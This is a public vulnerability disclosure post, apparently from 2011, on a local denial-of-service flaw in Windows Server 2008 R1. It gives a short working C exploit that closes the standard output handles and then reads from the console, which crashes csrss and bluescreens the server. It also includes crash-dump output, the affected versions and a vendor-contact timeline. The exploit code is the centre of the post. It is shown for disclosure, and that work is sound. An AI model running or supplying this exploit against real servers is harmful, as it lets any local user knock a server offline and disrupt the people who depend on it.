Hi all.

Here's a cute little local DoS attack against Windows Server 2008 R1, which will allow any user who can execute unprivileged code to BSoD your server with about three lines of C. I have reported this to Microsoft, but because of the limited scope of the issue - DoS-only, and server 2008 R1, as opposed to R2 - they declined to put out a security bulletin. Note that, as far as I can tell, upgrades from R1 to R2 are for-pay unless you bought R1 with Software Assurance originally, and additionally, that R2 does not support 32-bit hardware. I originally informed the vendor ten months ago, and their response was that, due to the DoS-only and R1-only circumstance, this problem "would be a candidate for inclusion in a future service pack update should one be released on the affected platforms". Perhaps naively, I then expected this to be fixed via a service pack, which has not transpired since then. Since the issue is so straightforward to reproduce (I refuse to believe that no-one else has found this), I have decided to disclose the issue publically in order to assist and remaining owners of 2008 R1 in securing their boxes. The best way to explain the issue is with an example exploit: int main(int argc, char *argv[]) { DWORD foo; char stuff[10]; CloseHandle(GetStdHandle(STD_OUTPUT_HANDLE )); CloseHandle(GetStdHandle(STD_ERROR_HANDLE )); ReadConsole(GetStdHandle( STD_INPUT_HANDLE ), stuff, 5, &foo, NULL); } Kapow - it's that simple. Close stdout and stderr, and read from stdin. Any of the other functions which do this can be used (cygwin, for example, can be used with it's standard C calls which eventually call CloseHandle). Anyway, if you run that on a server 2008 R1 box you will bluescreen! Further investigaion reveals a null deref in CSRSS: *** An Access Violation occurred in C:\Windows\system32\csrss.exe .. The instruction at 756DB6A1 tried to write to an invalid address, 0000000C eax=015c0da8 ebx=00000000 ecx=00000000 edx=015c14a8 esi=00000000 edi=015c0dc8 eip=756db6a1 esp=0083f5d0 ebp=0083f6a0 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246 WARNING: Process directory table base 1F187040 doesn't match CR3 1F187360 001b:756db6a1 ff460c inc dword ptr [esi+0Ch] ds:0023:0000000c=???????? 756db6a1 756db6a4 756db6aa 756db6b0 756db6b6 756db6b9 756db6bc ff460c 8b8d54ffffff 898570ffffff 8a8059010000 8845b3 8a471c 66834da4ff inc mov mov mov mov mov or dword ptr [esi+0Ch] ecx,dword ptr [ebp-0ACh] dword ptr [ebp-90h],eax al,byte ptr [eax+159h] byte ptr [ebp-4Dh],al al,byte ptr [edi+1Ch] word ptr [ebp-5Ch],0FFFFh

756db6c1 66834da6ff ChildEBP 0083f6a0 0083f6f8 0083f86c 0083f8ac 0083f8c4 RetAddr 756dbd5e 757359e4 76f77ca3 76f9e489 00000000

or

word ptr [ebp-5Ah],0FFFFh 002a0058 945f0621 00000000 ffffffff 00000000 winsrv!ReadChars+0x3c2 winsrv!SrvReadConsole+0x102 CSRSRV!CsrApiRequestThread+0x3b1 ntdll!__RtlUserThreadStart+0x35 ntdll!_RtlUserThreadStart+0x1b

Args to Child 015c0dc8 015c0da8 015c0da8 0083f80c 00000000 7781fc7b 75735633 00000000 75735633 00000000

Sample bugcheck output: *** STOP: 0x000000F4 (0x00000003, 0x84B92020, 0x84B9216C, 0x81C71A60) Confirmed vulnerable: * Windows server 2008 r1 Confirmed not vulnerable (some by MS, some by me): * * * * Server 2008 r2 Windows 7 XP, 2003, 2003 r2 Pretty much all the other MS OS's.

Mitigation: I have no idea. If your environment allows it, do not enable users to run any user-supplied code (although if that's possible, then you've probably already taken steps to prevent this). Alternatively, upgrade to R2 (or, indeed, anything other that 2008 R1) if possible. If you are annoyed that this circumstance requires an upgrade, shout at MS. Microsoft supplied the following when asked if they were aware of any mitigations: "An attacker must have valid logon credentials and be able to log on locally to exploit this vulnerability. The vulnerability could not be exploited remotely or by anonymous users." Timeline: * July 15, 2010 : Contacted vendor * July 15, 2010 : Got initial vendor response, assured that a named staff member would contact me * October 26, 2010 : Emailed vendor asking for a status update * October 26, 2010 : Got vendor response, apologies for delay * October 26, 2010 to November 2, 2010 : Some discussion, culminating with the vendor's decision that no bulletin would be issued but maybe a service pack someday * September 3, 2011 : Some time has passed without a patch; emailed vendor asking for update * September 6, 2011 : Vendor responds by reiterating their previous position * September 6, 2011 : Public disclosure # 1337day.com [2011-09-07]